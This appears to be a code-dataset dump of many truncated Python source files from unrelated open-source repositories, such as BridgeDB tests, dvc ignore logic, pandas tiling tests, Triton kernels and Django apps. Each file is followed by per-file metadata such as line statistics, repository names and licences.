"""integration tests for BridgeDB .""" from __future__ import print_function import smtplib import asyncore import threading import queue import random import os from smtpd import SMTPServer from twisted.trial import unittest from twisted.trial.unittest import FailTest from twisted.trial.unittest import SkipTest f...
39.666667
82
0.657776
from __future__ import print_function import smtplib import asyncore import threading import queue import random import os from smtpd import SMTPServer from twisted.trial import unittest from twisted.trial.unittest import FailTest from twisted.trial.unittest import SkipTest from bridgedb.test.util import processEx...
true
true
f7261de6c7c541d6de5d6ee3125ac35b2d456e80
7,792
py
Python
test/functional/combine_logs.py
Techcoingithub/techcoin
6914faea0496d16d85f4f11fc1ae2ba05e9143b8
[ "MIT" ]
null
null
null
test/functional/combine_logs.py
Techcoingithub/techcoin
6914faea0496d16d85f4f11fc1ae2ba05e9143b8
[ "MIT" ]
1
2021-11-30T18:41:44.000Z
2022-01-17T17:55:26.000Z
test/functional/combine_logs.py
Techcoingithub/techcoin
6914faea0496d16d85f4f11fc1ae2ba05e9143b8
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2017-2019 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Combine logs from multiple techcoin nodes as well as the test_framework log. This streams the combined...
38.574257
196
0.617941
import argparse from collections import defaultdict, namedtuple import heapq import itertools import os import pathlib import re import sys import tempfile # without the parent module installed. # Should match same symbol in `test_framework.test_framework`. TMPDIR_PREFIX = "techcoin_func_test_" # Matches on th...
true
true
f7261e37ae3b0a363433aacc10d91805d93f9dcf
391
py
Python
src/create_github_project/commands/versions/__init__.py
nkomiya/create-github-project
e60028a3edf0fdee2f76ffd26296e01588235324
[ "MIT" ]
1
2021-08-20T08:28:45.000Z
2021-08-20T08:28:45.000Z
src/create_github_project/commands/versions/__init__.py
nkomiya/create-github-project
e60028a3edf0fdee2f76ffd26296e01588235324
[ "MIT" ]
37
2021-07-24T11:47:28.000Z
2021-08-08T19:23:24.000Z
src/create_github_project/commands/versions/__init__.py
nkomiya/create-github-project
e60028a3edf0fdee2f76ffd26296e01588235324
[ "MIT" ]
null
null
null
import click from .current import current from .update import update __all__ = [ 'build' ] @click.group(help='Manage tool versions.') def versions() -> None: pass def build(cmd: click.Group) -> None: """親コマンドにサブコマンドを追加する。 Args: cmd (click.Group): 親コマンド """ versions.add_command(cu...
14.481481
42
0.657289
import click from .current import current from .update import update __all__ = [ 'build' ] @click.group(help='Manage tool versions.') def versions() -> None: pass def build(cmd: click.Group) -> None: versions.add_command(current) versions.add_command(update) cmd.add_command(versions)
true
true
f7261ecb34d10b321947c71f2d29ac44db652fb3
20,071
py
Python
vis/visualize_court.py
szhaofelicia/sgan
ead42d4bb3b1278c4c9ffcae8fa9c2dc036a52ff
[ "MIT" ]
3
2022-01-02T16:58:39.000Z
2022-02-07T08:29:48.000Z
vis/visualize_court.py
szhaofelicia/sgan
ead42d4bb3b1278c4c9ffcae8fa9c2dc036a52ff
[ "MIT" ]
null
null
null
vis/visualize_court.py
szhaofelicia/sgan
ead42d4bb3b1278c4c9ffcae8fa9c2dc036a52ff
[ "MIT" ]
null
null
null
import numpy as np # import plotly import plotly.graph_objects as go def draw_plotly_half_court(fig, fig_width=600, margins=10): # From: https://community.plot.ly/t/arc-shape-with-path/7205/5 def ellipse_arc(x_center=0.0, y_center=0.0, a=10.5, b=10.5, start_angle=0.0, end_angle=2 * np.pi, N=200, closed=False...
40.061876
123
0.478202
import numpy as np import plotly.graph_objects as go def draw_plotly_half_court(fig, fig_width=600, margins=10): def ellipse_arc(x_center=0.0, y_center=0.0, a=10.5, b=10.5, start_angle=0.0, end_angle=2 * np.pi, N=200, closed=False): t = np.linspace(start_angle, end_angle, N) x = x_center + ...
true
true
f7261f4f8b69b121e8b4085d991fa58a731f368d
1,412
py
Python
cuestionario/urls.py
LisandroCanteros/Grupo2_COM06_Info2021
86ad9e08db4e8935bf397b6e4db0b3d9d72cb320
[ "MIT" ]
null
null
null
cuestionario/urls.py
LisandroCanteros/Grupo2_COM06_Info2021
86ad9e08db4e8935bf397b6e4db0b3d9d72cb320
[ "MIT" ]
null
null
null
cuestionario/urls.py
LisandroCanteros/Grupo2_COM06_Info2021
86ad9e08db4e8935bf397b6e4db0b3d9d72cb320
[ "MIT" ]
1
2021-09-05T23:29:56.000Z
2021-09-05T23:29:56.000Z
from django.urls import path from .views import ( CategoriasListView, pagina_principal, CuestionarioListView, cuestionario_vista, cuestionario_datos, guardar_resultados, resultado, nuevo_cuestionario, editar_cuestionario, eliminar_cuestionario, nueva_pregunta, nueva_respuesta, agregar_categoria, ) url...
45.548387
150
0.753541
from django.urls import path from .views import ( CategoriasListView, pagina_principal, CuestionarioListView, cuestionario_vista, cuestionario_datos, guardar_resultados, resultado, nuevo_cuestionario, editar_cuestionario, eliminar_cuestionario, nueva_pregunta, nueva_respuesta, agregar_categoria, ) url...
true
true
f7262028bb67932989ce287fc4342964d85098d4
843
py
Python
merak/commands/__init__.py
Yao1993/merak
517b7a8eca82eebbf22bcd3688a79e1e76ed9d42
[ "Apache-2.0" ]
16
2021-01-22T04:09:30.000Z
2022-03-17T10:38:34.000Z
merak/commands/__init__.py
Yao1993/merak
517b7a8eca82eebbf22bcd3688a79e1e76ed9d42
[ "Apache-2.0" ]
6
2021-04-12T10:09:47.000Z
2022-03-24T09:31:13.000Z
merak/commands/__init__.py
Yao1993/merak
517b7a8eca82eebbf22bcd3688a79e1e76ed9d42
[ "Apache-2.0" ]
2
2021-07-14T05:39:17.000Z
2021-07-28T16:27:40.000Z
# Copyright 2021 (David) Siu-Kei Muk. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
42.15
80
0.709371
from __future__ import absolute_import from __future__ import division from __future__ import print_function from merak.commands.cythonize import Cythonize
true
true
f72620bb64981cc53d557d6184ba036e5477d39e
2,690
py
Python
dsp/core/spider.py
gods-view/AdclickIO
ccb73867e568aac5f40bd5890149626ce0be1897
[ "BSD-2-Clause" ]
null
null
null
dsp/core/spider.py
gods-view/AdclickIO
ccb73867e568aac5f40bd5890149626ce0be1897
[ "BSD-2-Clause" ]
null
null
null
dsp/core/spider.py
gods-view/AdclickIO
ccb73867e568aac5f40bd5890149626ce0be1897
[ "BSD-2-Clause" ]
null
null
null
# encoding=utf-8 import sys from imp import reload reload(sys) # sys.setdefaultencoding('utf8') import os, time # from configure import config from datetime import datetime as dt import requests # requests.adapters.DEFAULT_RETRIES = 5 # import chardet class HttpSpider: headers = { # 'User-Agent':'Mozi...
32.409639
89
0.612268
import sys from imp import reload reload(sys) import os, time from datetime import datetime as dt import requests class HttpSpider: headers = { } def __init__(self): pass def show_error(self, error_log, msg): if error_log is None:...
true
true
f72622da8b3fb8fe690f929b9dd25369d65cc062
17,230
py
Python
turing_complete_interface/circuit_builder.py
scottanderson/turing-complete-interface
37d52265a2b7b693c1dc67505bd47622aa0f1e9f
[ "MIT" ]
4
2022-01-23T20:29:16.000Z
2022-03-20T06:10:47.000Z
turing_complete_interface/circuit_builder.py
scottanderson/turing-complete-interface
37d52265a2b7b693c1dc67505bd47622aa0f1e9f
[ "MIT" ]
null
null
null
turing_complete_interface/circuit_builder.py
scottanderson/turing-complete-interface
37d52265a2b7b693c1dc67505bd47622aa0f1e9f
[ "MIT" ]
1
2022-01-28T02:41:25.000Z
2022-01-28T02:41:25.000Z
from __future__ import annotations import json from dataclasses import dataclass, field from math import inf, sqrt from queue import PriorityQueue from typing import Any, Callable, Collection, TYPE_CHECKING, Iterable, Literal from bitarray import bitarray from turing_complete_interface.circuit_parser import Circuit,...
41.121718
116
0.556878
from __future__ import annotations import json from dataclasses import dataclass, field from math import inf, sqrt from queue import PriorityQueue from typing import Any, Callable, Collection, TYPE_CHECKING, Iterable, Literal from bitarray import bitarray from turing_complete_interface.circuit_parser import Circuit,...
true
true
f72623295ea209ba44d041366790eed08ce7ecff
7,709
py
Python
dvc/ignore.py
iksnagreb/dvc
a077135d76bd30205ca6db75bb76c55465be5255
[ "Apache-2.0" ]
1
2020-08-12T22:51:45.000Z
2020-08-12T22:51:45.000Z
dvc/ignore.py
iksnagreb/dvc
a077135d76bd30205ca6db75bb76c55465be5255
[ "Apache-2.0" ]
null
null
null
dvc/ignore.py
iksnagreb/dvc
a077135d76bd30205ca6db75bb76c55465be5255
[ "Apache-2.0" ]
1
2020-11-28T11:47:48.000Z
2020-11-28T11:47:48.000Z
import logging import os import re from itertools import groupby from pathspec.patterns import GitWildMatchPattern from pathspec.util import normalize_file from pygtrie import StringTrie from dvc.path_info import PathInfo from dvc.pathspec_math import merge_patterns from dvc.system import System from dvc.utils import...
30.350394
77
0.609936
import logging import os import re from itertools import groupby from pathspec.patterns import GitWildMatchPattern from pathspec.util import normalize_file from pygtrie import StringTrie from dvc.path_info import PathInfo from dvc.pathspec_math import merge_patterns from dvc.system import System from dvc.utils import...
true
true
f726248f250b43e625a1784113284065ec6f8efa
6,073
py
Python
app/auth/routes.py
Alexsik76/flask_blog
e780469afe246a56c4e5c5744d16cf8cb7da9374
[ "Apache-2.0" ]
null
null
null
app/auth/routes.py
Alexsik76/flask_blog
e780469afe246a56c4e5c5744d16cf8cb7da9374
[ "Apache-2.0" ]
null
null
null
app/auth/routes.py
Alexsik76/flask_blog
e780469afe246a56c4e5c5744d16cf8cb7da9374
[ "Apache-2.0" ]
null
null
null
import os from functools import wraps from flask import flash, redirect, render_template, url_for, current_app, Markup, request from flask_login import login_user, login_required, logout_user, current_user from app.auth import bp from app.auth.forms import SignUpForm, RegistrationForm, LoginForm, ResetPasswordForm, New...
39.953947
115
0.668698
import os from functools import wraps from flask import flash, redirect, render_template, url_for, current_app, Markup, request from flask_login import login_user, login_required, logout_user, current_user from app.auth import bp from app.auth.forms import SignUpForm, RegistrationForm, LoginForm, ResetPasswordForm, New...
true
true
f7262560c667d65265155dbba12d860d64d7e43a
1,450
py
Python
utils/prediction.py
catskillsresearch/xview2-catskills
5671cff323c8121c0ae251e360e454a1e8568f58
[ "BSD-3-Clause" ]
null
null
null
utils/prediction.py
catskillsresearch/xview2-catskills
5671cff323c8121c0ae251e360e454a1e8568f58
[ "BSD-3-Clause" ]
null
null
null
utils/prediction.py
catskillsresearch/xview2-catskills
5671cff323c8121c0ae251e360e454a1e8568f58
[ "BSD-3-Clause" ]
null
null
null
#!/home/catskills/anaconda3/envs/xview2/bin/python import glob, os from shutil import copyfile from tqdm import tqdm from subprocess import call from IPython.utils.path import ensure_dir_exists # os.environ["CUDA_VISIBLE_DEVICES"]="1" # second gpu VERSION=os.getenv('VERSION') PROJECT='xview2-catskills' USERDIR='/home...
37.179487
128
0.743448
import glob, os from shutil import copyfile from tqdm import tqdm from subprocess import call from IPython.utils.path import ensure_dir_exists getenv('VERSION') PROJECT='xview2-catskills' USERDIR='/home/catskills/Desktop' CODEDIR=f'{USERDIR}/{PROJECT}' DATADIR=f'{USERDIR}/dataxv2' TESTDIR=f'{DATADIR}/test/images/' S...
true
true
f726258904982674e78e973db19b6f500c57c842
7,783
py
Python
integration/python/integration_api/models/baas_sub_account_vo.py
sumit4-ttn/SDK
b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff
[ "Apache-2.0" ]
null
null
null
integration/python/integration_api/models/baas_sub_account_vo.py
sumit4-ttn/SDK
b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff
[ "Apache-2.0" ]
null
null
null
integration/python/integration_api/models/baas_sub_account_vo.py
sumit4-ttn/SDK
b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Hydrogen Integration API The Hydrogen Integration API # noqa: E501 OpenAPI spec version: 1.2.1 Contact: info@hydrogenplatform.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class BaasSubAccountVO(...
28.613971
173
0.608634
import pprint import re import six class BaasSubAccountVO(object): swagger_types = { 'account_number': 'str', 'account_status': 'str', 'message': 'str', 'nucleus_portfolio_id': 'str', 'status': 'str', 'vendor_name': 'object', 'vendor_response': 'obje...
true
true
f72627ba2a2e2ffe351a5d1e289253920619cb97
3,942
py
Python
utils.py
ChristophReich1996/Mode_Collapse
937ee8bf96510fbf4070fc7e14b78276ab036b8c
[ "MIT" ]
14
2020-06-22T12:56:10.000Z
2022-03-31T10:23:00.000Z
utils.py
ChristophReich1996/Mode_Collapse
937ee8bf96510fbf4070fc7e14b78276ab036b8c
[ "MIT" ]
null
null
null
utils.py
ChristophReich1996/Mode_Collapse
937ee8bf96510fbf4070fc7e14b78276ab036b8c
[ "MIT" ]
2
2022-01-21T01:22:23.000Z
2022-02-13T18:08:08.000Z
from typing import Optional import torch import torch.nn as nn from torch.nn.utils import spectral_norm import numpy as np def get_generator(latent_size: int, use_spectral_norm: bool) -> nn.Module: """ Returns the generator network. :param latent_size: (int) Size of the latent input vector :param use...
44.292135
114
0.540081
from typing import Optional import torch import torch.nn as nn from torch.nn.utils import spectral_norm import numpy as np def get_generator(latent_size: int, use_spectral_norm: bool) -> nn.Module: if use_spectral_norm: return nn.Sequential(spectral_norm(nn.Linear(latent_size, 256, bias=True)), ...
true
true
f72627c561e2ac89a391788cfaf08f88db3539eb
585
py
Python
rgr/__init__.py
Faxn/rgr
656f4795bfbb5ca6bf7f9dd6c8e043a3242cd331
[ "BSD-2-Clause" ]
null
null
null
rgr/__init__.py
Faxn/rgr
656f4795bfbb5ca6bf7f9dd6c8e043a3242cd331
[ "BSD-2-Clause" ]
null
null
null
rgr/__init__.py
Faxn/rgr
656f4795bfbb5ca6bf7f9dd6c8e043a3242cd331
[ "BSD-2-Clause" ]
null
null
null
from . import lexer from .parseRoll import parser def roll(expression : str): "Runs the dice expression provided and returns long form result" try: tree = parser.parse(expression) result, hist = tree.roll() except Exception as E: return str(E) return result, hist, tree ...
19.5
68
0.642735
from . import lexer from .parseRoll import parser def roll(expression : str): try: tree = parser.parse(expression) result, hist = tree.roll() except Exception as E: return str(E) return result, hist, tree def compile(expression : str): tree = parser.parse(expression) ...
true
true
f726282d7144fcaa8467eabd6470b58a1158a9e7
374
py
Python
projects/intruder_detection/main.py
henriwoodcock/developer
7ddd7f0b56564c0c13d5505c16b6f89c0c29886a
[ "CC-BY-4.0" ]
null
null
null
projects/intruder_detection/main.py
henriwoodcock/developer
7ddd7f0b56564c0c13d5505c16b6f89c0c29886a
[ "CC-BY-4.0" ]
null
null
null
projects/intruder_detection/main.py
henriwoodcock/developer
7ddd7f0b56564c0c13d5505c16b6f89c0c29886a
[ "CC-BY-4.0" ]
null
null
null
from machine import Pin, Timer def check_sensor(timer): global sensor if sensor.value() == 1: gp1.value(1) else: gp1.value(0) #GP4 - 5v output gp4 = Pin(4,Pin.OUT) gp4.value(1) #GP1 - output for LED gp1= Pin(1,Pin.OUT) #GP5 - input from sensor sensor = Pin(5,Pin.IN) tim = Timer() tim.init(...
19.684211
62
0.65508
from machine import Pin, Timer def check_sensor(timer): global sensor if sensor.value() == 1: gp1.value(1) else: gp1.value(0) gp4 = Pin(4,Pin.OUT) gp4.value(1) gp1= Pin(1,Pin.OUT) sensor = Pin(5,Pin.IN) tim = Timer() tim.init(freq=1.5, mode=Timer.PERIODIC, callback=check_sensor)
true
true
f72629c9f8acea66ab3447479454246371b49923
1,440
py
Python
src/view/SqliteKeywords.py
struts2spring/sql-editor
082868dd92cbd8f0f6715f734f9ebe64032cbe4a
[ "MIT" ]
9
2018-10-15T04:57:37.000Z
2021-12-07T07:39:35.000Z
src/view/SqliteKeywords.py
struts2spring/sql-editor
082868dd92cbd8f0f6715f734f9ebe64032cbe4a
[ "MIT" ]
13
2018-10-19T11:52:44.000Z
2021-09-08T00:39:30.000Z
src/view/SqliteKeywords.py
struts2spring/sql-editor
082868dd92cbd8f0f6715f734f9ebe64032cbe4a
[ "MIT" ]
3
2018-10-25T11:08:04.000Z
2021-02-23T08:28:31.000Z
''' Created on 04-Feb-2017 @author: vijay ''' keyword = [ 'ABORT' , 'ACTION' , 'ADD' , 'AFTER' , 'ALL' , 'ALTER' , 'ANALYZE' , 'AND' , 'AS' , 'ASC' , 'ATTACH' , 'AUTOINCREMENT' , 'BEFORE' , 'BEGIN' , 'BETWEEN' , 'BY' , 'CASCADE' , 'CASE' , 'CAST' , 'CHECK' , 'COLLATE' , 'COLUMN' , 'COMMIT' , 'CONFLICT' , 'C...
10.510949
26
0.531944
keyword = [ 'ABORT' , 'ACTION' , 'ADD' , 'AFTER' , 'ALL' , 'ALTER' , 'ANALYZE' , 'AND' , 'AS' , 'ASC' , 'ATTACH' , 'AUTOINCREMENT' , 'BEFORE' , 'BEGIN' , 'BETWEEN' , 'BY' , 'CASCADE' , 'CASE' , 'CAST' , 'CHECK' , 'COLLATE' , 'COLUMN' , 'COMMIT' , 'CONFLICT' , 'CONSTRAINT' , 'CREATE' , 'CROSS' , 'CURRENT_DATE...
true
true
f72629d7ccf97ec969ccabc9f97fbd9dea75c8a0
2,228
py
Python
symbols/symbol_ssdh.py
galad-loth/LearnDescriptor
30552a699597415a13793eb85d21b5e33a296a99
[ "Apache-2.0" ]
100
2018-02-06T10:47:43.000Z
2022-02-16T01:11:30.000Z
symbols/symbol_ssdh.py
JiaxueLi/DeepMatch
30552a699597415a13793eb85d21b5e33a296a99
[ "Apache-2.0" ]
2
2019-07-24T17:22:37.000Z
2020-03-19T04:11:47.000Z
symbols/symbol_ssdh.py
JiaxueLi/DeepMatch
30552a699597415a13793eb85d21b5e33a296a99
[ "Apache-2.0" ]
21
2018-11-11T06:35:43.000Z
2020-11-25T07:52:20.000Z
# -*- coding: utf-8 -*- """ Created on Tue Mar 07 21:00:11 2017 @author: galad-loth """ import numpy as npy import mxnet as mx class HashLossLayer(mx.operator.NumpyOp): def __init__(self, w_bin,w_balance): super(HashLossLayer, self).__init__(False) self.w_bin=w_bin self.w_bala...
33.757576
96
0.612208
import numpy as npy import mxnet as mx class HashLossLayer(mx.operator.NumpyOp): def __init__(self, w_bin,w_balance): super(HashLossLayer, self).__init__(False) self.w_bin=w_bin self.w_balance=w_balance def list_arguments(self): return ['data'] ...
true
true
f72629ddc71a4e57e29e2e43fc86db58df8c4de3
23,900
py
Python
plotly_study/graph_objs/layout/ternary/aaxis/__init__.py
lucasiscovici/plotly_py
42ab769febb45fbbe0a3c677dc4306a4f59cea36
[ "MIT" ]
null
null
null
plotly_study/graph_objs/layout/ternary/aaxis/__init__.py
lucasiscovici/plotly_py
42ab769febb45fbbe0a3c677dc4306a4f59cea36
[ "MIT" ]
null
null
null
plotly_study/graph_objs/layout/ternary/aaxis/__init__.py
lucasiscovici/plotly_py
42ab769febb45fbbe0a3c677dc4306a4f59cea36
[ "MIT" ]
null
null
null
from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType import copy as _copy class Title(_BaseLayoutHierarchyType): # font # ---- @property def font(self): """ Sets this axis' title font. Note that the title's font used to be customized by th...
34.738372
90
0.567155
from plotly_study.basedatatypes import BaseLayoutHierarchyType as _BaseLayoutHierarchyType import copy as _copy class Title(_BaseLayoutHierarchyType): @property def font(self): return self["font"] @font.setter def font(self, val): self["font"] = val @property...
true
true
f7262a2f0da63f591723f9cdf91c2bae40d81f7d
19,587
py
Python
pandas/tests/reshape/test_tile.py
stevenvandenberghe/pandas
8cbee356da1161c56c64f6f89cb5548bcadc3e44
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause" ]
null
null
null
pandas/tests/reshape/test_tile.py
stevenvandenberghe/pandas
8cbee356da1161c56c64f6f89cb5548bcadc3e44
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause" ]
null
null
null
pandas/tests/reshape/test_tile.py
stevenvandenberghe/pandas
8cbee356da1161c56c64f6f89cb5548bcadc3e44
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause" ]
2
2019-03-08T19:59:05.000Z
2020-09-27T03:18:37.000Z
import os import pytest import numpy as np from pandas.compat import zip from pandas import (Series, isna, to_datetime, DatetimeIndex, Timestamp, Interval, IntervalIndex, Categorical, cut, qcut, date_range) import pandas.util.testing as tm from pandas.api.types import Categoric...
37.026465
78
0.56512
import os import pytest import numpy as np from pandas.compat import zip from pandas import (Series, isna, to_datetime, DatetimeIndex, Timestamp, Interval, IntervalIndex, Categorical, cut, qcut, date_range) import pandas.util.testing as tm from pandas.api.types import Categoric...
true
true
f7262bc097e3f3237af10e09e9f2a090111ba335
639
py
Python
app1/migrations/0029_auto_20200630_0454.py
vashuteotia123/zbcvit
da29b3281ccc87481a264b63c5b6c3a549945f33
[ "MIT" ]
6
2021-09-16T16:46:56.000Z
2022-02-06T13:00:08.000Z
app1/migrations/0029_auto_20200630_0454.py
vashuteotia123/zbcvit
da29b3281ccc87481a264b63c5b6c3a549945f33
[ "MIT" ]
null
null
null
app1/migrations/0029_auto_20200630_0454.py
vashuteotia123/zbcvit
da29b3281ccc87481a264b63c5b6c3a549945f33
[ "MIT" ]
1
2021-09-14T09:26:58.000Z
2021-09-14T09:26:58.000Z
# Generated by Django 3.0.6 on 2020-06-30 04:54 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app1', '0028_resources_resource_date_time'), ] operations = [ migrations.AlterField( model_name='resources', ...
25.56
98
0.613459
import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app1', '0028_resources_resource_date_time'), ] operations = [ migrations.AlterField( model_name='resources', name='resource_content', f...
true
true
f7262bf49b112b6af91f95cf730a2d48d81c073f
35
py
Python
tests/components/halohome/__init__.py
nayaverdier/core
7352602e47c2de0e54a20f427559c00bad2cd7b8
[ "Apache-2.0" ]
null
null
null
tests/components/halohome/__init__.py
nayaverdier/core
7352602e47c2de0e54a20f427559c00bad2cd7b8
[ "Apache-2.0" ]
null
null
null
tests/components/halohome/__init__.py
nayaverdier/core
7352602e47c2de0e54a20f427559c00bad2cd7b8
[ "Apache-2.0" ]
null
null
null
"""HALO Home integration tests."""
17.5
34
0.685714
true
true
f7262d295996bb4520eaf83ad3c5682b56392b0c
4,741
py
Python
lapidary/Utils.py
efeslab/dolma
039c5ed768bc879a83424075ccccf3bbd31794ae
[ "BSD-3-Clause" ]
6
2021-01-02T18:29:22.000Z
2021-10-03T18:55:01.000Z
lapidary/Utils.py
efeslab/dolma
039c5ed768bc879a83424075ccccf3bbd31794ae
[ "BSD-3-Clause" ]
2
2021-02-15T15:34:34.000Z
2022-01-30T17:46:00.000Z
lapidary/Utils.py
efeslab/dolma
039c5ed768bc879a83424075ccccf3bbd31794ae
[ "BSD-3-Clause" ]
3
2020-10-23T14:10:39.000Z
2021-11-16T10:00:40.000Z
import json from pathlib import Path from pprint import pprint import re, os from time import sleep class StatsFile: def __init__(self, file_path): self.current_offset = 0 self.file_size = 0 self.file_path = file_path self.cached_stats = {} self.backup_file_path = file_path....
30.986928
78
0.62645
import json from pathlib import Path from pprint import pprint import re, os from time import sleep class StatsFile: def __init__(self, file_path): self.current_offset = 0 self.file_size = 0 self.file_path = file_path self.cached_stats = {} self.backup_file_path = file_path....
true
true
f7262d782adc22a7c34947e4dd8321f0a9a524dc
767
py
Python
src/shop/migrations/0038_auto_20170323_2021.py
flokli/bornhack-website
9dd6b0b23c2e6b1fb2c5f03a8766d4aa96d4443d
[ "BSD-3-Clause" ]
7
2017-04-14T15:28:29.000Z
2021-09-10T09:45:38.000Z
src/shop/migrations/0038_auto_20170323_2021.py
flokli/bornhack-website
9dd6b0b23c2e6b1fb2c5f03a8766d4aa96d4443d
[ "BSD-3-Clause" ]
799
2016-04-28T09:31:50.000Z
2022-03-29T09:05:02.000Z
src/shop/migrations/0038_auto_20170323_2021.py
flokli/bornhack-website
9dd6b0b23c2e6b1fb2c5f03a8766d4aa96d4443d
[ "BSD-3-Clause" ]
35
2016-04-28T09:23:53.000Z
2021-05-02T12:36:01.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-03-23 19:21 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("shop", "0037_auto_20170319_2204")] operations = [ migrations.AlterField( mod...
26.448276
56
0.494133
from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("shop", "0037_auto_20170319_2204")] operations = [ migrations.AlterField( model_name="order", name="payment_method", field=m...
true
true
f7262d80fffdbffc0cf859384e8240918a32ea46
31,714
py
Python
python/rz_linear/impl/RzLinearBackward.py
Jokeren/RzLinear
d318d95254cd5c3dcf814774d22dc71179450aa0
[ "MIT" ]
null
null
null
python/rz_linear/impl/RzLinearBackward.py
Jokeren/RzLinear
d318d95254cd5c3dcf814774d22dc71179450aa0
[ "MIT" ]
null
null
null
python/rz_linear/impl/RzLinearBackward.py
Jokeren/RzLinear
d318d95254cd5c3dcf814774d22dc71179450aa0
[ "MIT" ]
null
null
null
from typing import Tuple import torch import triton import triton.language as tl def rz_linear_backward_tl(input: torch.tensor, hashed_weight: torch.tensor, output_grad: torch.tensor, M: int, K: int, N: int, H: int, R3: int, R2: int, R1: int, R0: int, ...
48.124431
159
0.574037
from typing import Tuple import torch import triton import triton.language as tl def rz_linear_backward_tl(input: torch.tensor, hashed_weight: torch.tensor, output_grad: torch.tensor, M: int, K: int, N: int, H: int, R3: int, R2: int, R1: int, R0: int, ...
true
true
f7262ddf11eb39c0eb95d69c00ccbce7ab819c84
1,604
py
Python
test/lazy/test_added_diag_lazy_tensor.py
cdgreenidge/gpytorch
d4cc610963bd812052e43e3aed84fb8b2ec94aa6
[ "MIT" ]
null
null
null
test/lazy/test_added_diag_lazy_tensor.py
cdgreenidge/gpytorch
d4cc610963bd812052e43e3aed84fb8b2ec94aa6
[ "MIT" ]
null
null
null
test/lazy/test_added_diag_lazy_tensor.py
cdgreenidge/gpytorch
d4cc610963bd812052e43e3aed84fb8b2ec94aa6
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import torch import unittest from gpytorch.lazy import NonLazyTensor, DiagLazyTensor, AddedDiagLazyTensor from test.lazy._lazy_tensor_test_case import LazyTensorTestCase class TestAddedDiagLazyTensor(LazyTensorTestCase, unittest.TestCase): seed = 0 should_test_sample = True def cr...
34.12766
113
0.682045
import torch import unittest from gpytorch.lazy import NonLazyTensor, DiagLazyTensor, AddedDiagLazyTensor from test.lazy._lazy_tensor_test_case import LazyTensorTestCase class TestAddedDiagLazyTensor(LazyTensorTestCase, unittest.TestCase): seed = 0 should_test_sample = True def create_lazy_tensor(self)...
true
true
f7262e47ccd52c7b99efed84275928088089c827
1,307
py
Python
rally/plugins/openstack/scenarios/monasca/metrics.py
mail2nsrajesh/rally
d8995226fe75c573d6d64c7ade8a4ceca0758366
[ "Apache-2.0" ]
null
null
null
rally/plugins/openstack/scenarios/monasca/metrics.py
mail2nsrajesh/rally
d8995226fe75c573d6d64c7ade8a4ceca0758366
[ "Apache-2.0" ]
null
null
null
rally/plugins/openstack/scenarios/monasca/metrics.py
mail2nsrajesh/rally
d8995226fe75c573d6d64c7ade8a4ceca0758366
[ "Apache-2.0" ]
null
null
null
# All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
35.324324
78
0.722265
from rally import consts from rally.plugins.openstack import scenario from rally.plugins.openstack.scenarios.monasca import utils as monascautils from rally.task import validation @validation.add("required_services", services=[consts.Service.MONASCA]) @validation.add("required_platform...
true
true
f7262f0f2023d57b85b341ec89f31256cc3f6c36
4,563
py
Python
onmt/models/model_saver.py
UKPLab/emnlp2019-dualgraph
da38be675c392af43db436e3b2f0c8ff355c04f9
[ "MIT" ]
25
2019-09-05T07:57:45.000Z
2021-12-08T01:59:57.000Z
onmt/models/model_saver.py
15071347094/emnlp2019-dualgraph
0c58fb7f3ad3b9da3b92b2d2841558807fc79fd0
[ "MIT" ]
2
2020-11-21T00:41:44.000Z
2020-11-25T00:36:19.000Z
onmt/models/model_saver.py
15071347094/emnlp2019-dualgraph
0c58fb7f3ad3b9da3b92b2d2841558807fc79fd0
[ "MIT" ]
6
2020-01-27T22:54:56.000Z
2020-11-24T02:48:05.000Z
import os import torch import torch.nn as nn from collections import deque from onmt.utils.logging import logger from copy import deepcopy def build_model_saver(model_opt, opt, model, fields, optim): model_saver = ModelSaver(opt.save_model, model, model_...
31.040816
79
0.570896
import os import torch import torch.nn as nn from collections import deque from onmt.utils.logging import logger from copy import deepcopy def build_model_saver(model_opt, opt, model, fields, optim): model_saver = ModelSaver(opt.save_model, model, model_...
true
true
f7262f809657c84b116f0216cd007d0f3032680e
393
py
Python
CTForces/wsgi.py
pomo-mondreganto/CTForces-old
86758192f800108ff109f07fe155d5a98b4a3e14
[ "MIT" ]
null
null
null
CTForces/wsgi.py
pomo-mondreganto/CTForces-old
86758192f800108ff109f07fe155d5a98b4a3e14
[ "MIT" ]
6
2021-10-01T14:18:34.000Z
2021-10-01T14:19:17.000Z
CTForces/wsgi.py
pomo-mondreganto/CTForces-old
86758192f800108ff109f07fe155d5a98b4a3e14
[ "MIT" ]
null
null
null
""" WSGI config for CTForces project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETT...
23.117647
78
0.78626
